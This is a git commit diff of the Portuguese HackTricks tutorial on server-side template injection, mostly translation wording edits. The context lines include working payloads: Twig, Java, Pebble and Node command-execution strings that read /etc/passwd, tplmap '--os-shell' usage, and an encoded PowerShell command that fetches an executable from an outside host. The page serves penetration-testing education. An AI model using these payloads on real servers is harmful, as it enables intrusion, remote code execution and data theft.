Translated ['pentesting-web/ssti-server-side-template-injection/README.m

This commit is contained in:
Translator 2024-01-10 22:21:02 +00:00
parent bb12f520db
commit 4c8080d118

View file

@ -8,9 +8,9 @@ Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -24,9 +24,9 @@ Outras formas de apoiar o HackTricks:
Uma injeção de template no lado do servidor ocorre quando um atacante consegue usar a sintaxe nativa do template para injetar uma carga maliciosa em um template, que é então executado no lado do servidor.
**Motores de template** são projetados para **gerar páginas web** **combinando** templates **fixos** com dados **voláteis**. Ataques de injeção de template no lado do servidor podem ocorrer quando a **entrada do usuário** é concatenada diretamente **em um template**, em vez de ser passada como dados. Isso permite que atacantes **injetem diretivas arbitrárias de template** para manipular o motor de template, muitas vezes possibilitando a eles tomar **controle completo do servidor**.
**Motores de template** são projetados para **gerar páginas web** **combinando** templates **fixos** com dados **voláteis**. Ataques de injeção de template no lado do servidor podem ocorrer quando **entrada de usuário** é concatenada diretamente **em um template**, em vez de ser passada como dados. Isso permite que atacantes **injetem diretivas arbitrárias de template** para manipular o motor de template, muitas vezes possibilitando a eles tomar **controle completo do servidor**.
Um exemplo de código vulnerável é o seguinte:
Um exemplo de código vulnerável veja o seguinte:
```php
$output = $twig->render("Dear " . $_GET['name']);
```
@ -55,16 +55,16 @@ ${{7*7}}
#{7*7}
*{7*7}
```
**Detectar - Contexto do código**
**Detectar - Contexto de código**
Nestes casos, a **entrada do usuário** está sendo colocada **dentro** de uma **expressão de template**:
```python
engine.render("Hello {{"+greeting+"}}", data)
```
O acesso à URL que acessa a página pode ser semelhante a: `http://vulnerable-website.com/?greeting=data.username`
O acesso à URL que acessa essa página pode ser semelhante a: `http://vulnerable-website.com/?greeting=data.username`
Se você **alterar** o parâmetro **`greeting`** por um **valor diferente**, a **resposta não conterá o nome de usuário**, mas se você acessar algo como: `http://vulnerable-website.com/?greeting=data.username}}hello`, então, **a resposta conterá o nome de usuário** (se os caracteres de fechamento da expressão de template forem **`}}`**).\
Se um **erro** for gerado durante esses testes, será mais fácil encontrar se o servidor está vulnerável.
Se um **erro** for gerado durante esses testes, será mais fácil descobrir que o servidor está vulnerável.
### Identificar
@ -96,9 +96,9 @@ O primeiro passo após encontrar a injeção de template e identificar o motor d
**Explorar**
Assumindo que nenhum exploit se apresentou, o próximo passo é **explorar o ambiente** para descobrir exatamente a que **você tem acesso**. Você pode esperar encontrar tanto **objetos padrão** fornecidos pelo motor de template, quanto **objetos específicos da aplicação** passados para o template pelo desenvolvedor. Muitos sistemas de template expõem um objeto 'self' ou de namespace contendo tudo que está no escopo, e uma maneira idiomática de listar os atributos e métodos de um objeto.
Assumindo que nenhum exploit se apresentou, o próximo passo é **explorar o ambiente** para descobrir exatamente a que **você tem acesso**. Você pode esperar encontrar tanto **objetos padrão** fornecidos pelo motor de template quanto **objetos específicos da aplicação** passados para o template pelo desenvolvedor. Muitos sistemas de template expõem um objeto 'self' ou namespace contendo tudo que está no escopo, e uma maneira idiomática de listar os atributos e métodos de um objeto.
Se não houver um objeto self embutido, você terá que forçar nomes de variáveis usando [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) e a coleção de listas de palavras do Burp Intruder.
Se não houver um objeto self embutido, você terá que forçar nomes de variáveis usando [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) e a coleção de wordlist do Burp Intruder.
Objetos fornecidos pelo desenvolvedor são particularmente propensos a conter informações sensíveis e podem variar entre diferentes templates dentro de uma aplicação, portanto, esse processo deve idealmente ser aplicado a cada template distinto individualmente.
@ -115,6 +115,12 @@ um scanner eficiente de SSTI + CSTI que utiliza políglotas inovadores
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
```
### [Tplmap](https://github.com/epinna/tplmap)
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
@ -209,7 +215,7 @@ A expressão de teste típica para SSTI é `${7*7}`. Esta expressão também fun
No entanto, como mencionamos anteriormente, expressões só funcionam em atributos especiais do Thymeleaf. Se for necessário usar uma expressão em um local diferente no template, o Thymeleaf suporta _inserção de expressões_. Para usar esse recurso, você deve colocar uma expressão dentro de `[[...]]` ou `[(...)]` (escolha um ou outro dependendo se você precisa escapar símbolos especiais). Portanto, um payload simples de detecção de SSTI para Thymeleaf seria `[[${7*7}]]`.
As chances de o payload de detecção acima funcionar são, no entanto, muito baixas. Vulnerabilidades de SSTI geralmente ocorrem quando um template é gerado dinamicamente no código. O Thymeleaf, por padrão, não permite tais templates gerados dinamicamente e todos os templates devem ser criados anteriormente. Portanto, se um desenvolvedor deseja criar um template a partir de uma string _em tempo real_, ele precisaria criar seu próprio TemplateResolver. Isso é possível, mas acontece muito raramente.
As chances de o payload de detecção acima funcionar são, no entanto, muito baixas. Vulnerabilidades de SSTI geralmente ocorrem quando um template é gerado dinamicamente no código. Por padrão, o Thymeleaf não permite tais templates gerados dinamicamente e todos os templates devem ser criados anteriormente. Portanto, se um desenvolvedor deseja criar um template a partir de uma string _em tempo real_, ele precisaria criar seu próprio TemplateResolver. Isso é possível, mas acontece muito raramente.
Se olharmos mais a fundo na documentação do motor de template do Thymeleaf, encontraremos um recurso interessante chamado _**pré-processamento de expressões**_. Expressões colocadas entre duplos sublinhados (`__...__`) são pré-processadas e o resultado do pré-processamento é usado como parte da expressão durante o processamento regular. Aqui está um exemplo oficial da documentação do Thymeleaf:
```java
@ -291,7 +297,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
* `{{ someString.toUPPERCASE() }}`
Versões antigas do Pebble ( < versão 3.0.9):
Versão antiga do Pebble ( < versão 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
@ -351,7 +357,7 @@ Corrigido por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/H
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Busca por "com.hubspot.content.hubl.context.TemplateContextRequest" e descobriu o [projeto Jinjava no Github](https://github.com/HubSpot/jinjava/).
Procure por "com.hubspot.content.hubl.context.TemplateContextRequest" e descobriu o [projeto Jinjava no Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
@ -408,7 +414,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas web) se comunique com a lógica da aplicação (managed beans). O EL é utilizado por **várias tecnologias JavaEE**, como a tecnologia JavaServer Faces, tecnologia JavaServer Pages (JSP) e Contexts and Dependency Injection for Java EE (CDI).\
EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas web) comunique-se com a lógica da aplicação (managed beans). EL é utilizado por **várias tecnologias JavaEE**, como a tecnologia JavaServer Faces, tecnologia JavaServer Pages (JSP) e Contexts and Dependency Injection para Java EE (CDI).\
Confira a seguinte página para aprender mais sobre a **exploração de interpretadores EL**:
{% content-ref url="el-expression-language.md" %}
@ -488,6 +494,10 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Formato de template**
```php
@ -525,7 +535,7 @@ modelo de página:
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
layout de template:
layout: template de layout
```html
<html>
<head>
@ -612,7 +622,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) é um motor de templating PHP que não compila, utilizando tags XML para dividir um documento em diferentes partes.
> [patTemplate](https://github.com/wernerwa/pat-template) é um motor de templating PHP que não compila, utilizando tags XML para dividir um documento em diferentes partes
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -703,7 +713,7 @@ home = pugjs.render(injected_page)
* \{{7\*7\}} = 49
* \{{foo\}} = Sem saída
* \#{7\*7} = #{7\*7}
* \#{7\*7} = \#{7\*7}
* \{{console.log(1)\}} = Erro
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
@ -858,7 +868,7 @@ ${x}
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
O método `System.Diagnostics.Process.Start` do .NET pode ser usado para iniciar qualquer processo no servidor e, assim, criar um webshell. Você pode encontrar um exemplo de aplicativo web vulnerável em [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
O método `System.Diagnostics.Process.Start` do .NET pode ser usado para iniciar qualquer processo no servidor e, assim, criar uma webshell. Você pode encontrar um exemplo de aplicativo web vulnerável em [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Mais informações**
@ -876,7 +886,7 @@ O método `System.Diagnostics.Process.Start` do .NET pode ser usado para iniciar
```
**Mais Informações**
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
* [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
### Mojolicious (Perl)
@ -899,14 +909,14 @@ Para confirmar que o motor de template usado no backend é Go, você pode usar e
**Exploração de XSS**
Se o servidor estiver **usando o pacote text/template**, XSS é muito fácil de ser alcançado **simplesmente** fornecendo seu **payload** como entrada. No entanto, isso **não acontece com html/template** pois codifica a resposta em HTML: `{{"<script>alert(1)</script>"}}` --> `&lt;script&gt;alert(1)&lt;/script&gt;`
Se o servidor estiver **usando o pacote text/template**, XSS é muito fácil de alcançar **simplesmente** fornecendo seu **payload** como entrada. No entanto, isso **não acontece com html/template** pois codifica a resposta em HTML: `{{"<script>alert(1)</script>"}}` --> `&lt;script&gt;alert(1)&lt;/script&gt;`
No entanto, Go permite **DEFINIR** um **template** inteiro e **depois chamá-lo**. O payload seria algo como:\
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
**Exploração de RCE**
A documentação para o módulo html/template pode ser encontrada [aqui](https://golang.org/pkg/html/template/), e a documentação para o módulo text/template pode ser encontrada [aqui](https://golang.org/pkg/text/template/), e sim, elas variam bastante. Por exemplo, em **text/template**, você pode **chamar diretamente qualquer função pública com o valor “call”**, o que não é possível com html/template.
A documentação para o módulo html/template pode ser encontrada [aqui](https://golang.org/pkg/html/template/), e a documentação para o módulo text/template pode ser encontrada [aqui](https://golang.org/pkg/text/template/), e sim, elas variam, e muito. Por exemplo, em **text/template**, você pode **chamar diretamente qualquer função pública com o valor “call”**, o que não é o caso com html/template.
Se você quer encontrar um RCE em Go via SSTI, deve saber que, assim como você pode acessar o objeto fornecido ao template com `{{ . }}`, você também pode **chamar os métodos do objeto**. Então, imagine que o **objeto passado tem um método chamado System** que executa o comando fornecido, você poderia abusar disso com: `{{ .System "ls" }}`\
Portanto, você provavelmente **precisará do código-fonte**. Um código-fonte potencial para algo assim seria:
@ -931,7 +941,7 @@ Confira o restante de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/
## Ajuda Relacionada
Se você achar que pode ser útil, leia:
Se achar que pode ser útil, leia:
* [Truques do Flask](../../network-services-pentesting/pentesting-web/flask.md)
* [Funções mágicas do Python](broken-reference/)
@ -940,6 +950,8 @@ Se você achar que pode ser útil, leia:
{% embed url="https://github.com/Hackmanit/TInjA" %}
{% embed url="https://github.com/vladko312/sstimap" %}
{% embed url="https://github.com/epinna/tplmap" %}
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
@ -966,7 +978,7 @@ Se você achar que pode ser útil, leia:
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**